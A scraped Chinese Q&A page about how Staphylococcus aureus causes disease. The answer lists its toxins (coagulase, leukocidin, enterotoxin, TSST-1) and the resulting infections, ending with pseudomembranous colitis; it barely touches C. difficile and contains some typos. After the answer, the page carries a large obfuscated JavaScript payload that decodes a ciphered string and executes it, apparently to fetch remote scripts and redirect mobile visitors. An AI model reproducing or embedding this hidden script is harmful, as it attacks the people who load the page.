请从条件致病、假膜形成和肠炎三方面阐述金黄色葡萄球菌或艰难梭菌是如何引起的?

2025-02-06 08:54:18
推荐回答(1个)
回答1:

(一)致病物质
金葡菌产生多种毒素与酶
1.血浆凝固酶(Coagulase)是能使含有枸椽酸钠或肝素抗凝剂的人或兔血浆发生凝固的酶类物质,致病菌株多能产生,常作为鉴别葡萄球菌有无致病性的重要标志。
  2.葡萄球菌溶血素(Staphyolysin)多数致病性葡萄球菌产生溶血等。
  3.杀白细胞素(Leukocidin)含F和S两种蛋白质,能杀死人和兔的多形核粒细胞和巨噬细胞。此毒素有抗原性,不耐热,产生的抗体能阻止葡萄球菌感染的复发。
  4.肠毒素(Enterotoxin)与产毒菌株污染了牛奶、肉类、鱼是虾、蛋类等食品有关,在20℃以上经8~10小时即可产生大量的肠毒素。
5.表皮溶解毒素(Epidermolytic toxin)也称表皮剥脱毒素(Exfoliatin)引起人类或新生小鼠的表皮剥脱性病变。主要发生于新生儿和婴幼儿.
6.毒性休克综合毒素Ⅰ(Toxic shock syndrome toxin1,TSST1)系噬菌体Ⅰ群金黄色葡萄球菌产生。可引起发热,增加对内毒素的敏感性。增强毛细血管通透性,引起必血管紊乱而导致休克。
(二)所致疾病
1.侵袭性疾病主要引起化脓性炎症。葡萄球菌可通过多种途径侵入机体,导致皮肤或器官的多种感染,甚至败血症。
(1)皮肤软组织感染主要有疖、痛、毛囊炎、脓痤疮、甲沟炎、麦粒肿、蜂窝组织炎、伤口化脓等。
(2)内脏器官感染如肺炎、脓胸、中耳炎、脑膜炎、心包炎、心内膜炎等,主要由金葡菌引起。
(3)全身感染如败血症、脓毒血症等,多由金葡菌引起,新生儿或机体防御可能严重受损时表皮葡萄球菌也可引起严重败血症。
2.毒性疾病由金葡菌产生的有关外毒素引起
(1)食物中毒 进食含肠毒素食物后1~6小时即可出现症状,如恶心、呕吐、腹痛、腹泻,大多数病人于数小时至1日内恢复。
(2)烫伤样皮肤综合征多见于新生儿、幼儿和免疫功能低下的成人,开始有红斑,1~2天有皮起皱,继而形成水疱,至表皮脱落。由表皮溶解毒素引起。
(3)毒性休克综合征 由TSST1引起,主要表现为高热、低血压、红斑皮疹伴脱屑和休克等,半数以上病人有呕、腹泻、肌痛、结膜及粘膜充血,肝肾功能损害等,偶尔有心脏受累的表现。
(4)假膜炎肠炎本质是一种菌群失调性肠炎,病理特点是肠粘膜被一层炎性假膜所覆盖,该假膜由炎性渗出物、肠粘膜坏死块和细菌组成。人群中约10~15%有少量金葡菌寄居于肠道,当优势菌如脆弱类杆菌、大肠肝菌等因抗菌药物的应用而被抑制或杀灭后,耐药的金葡菌就乘机繁殖而产生毒素,引起以腹泻为主的临床症状。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();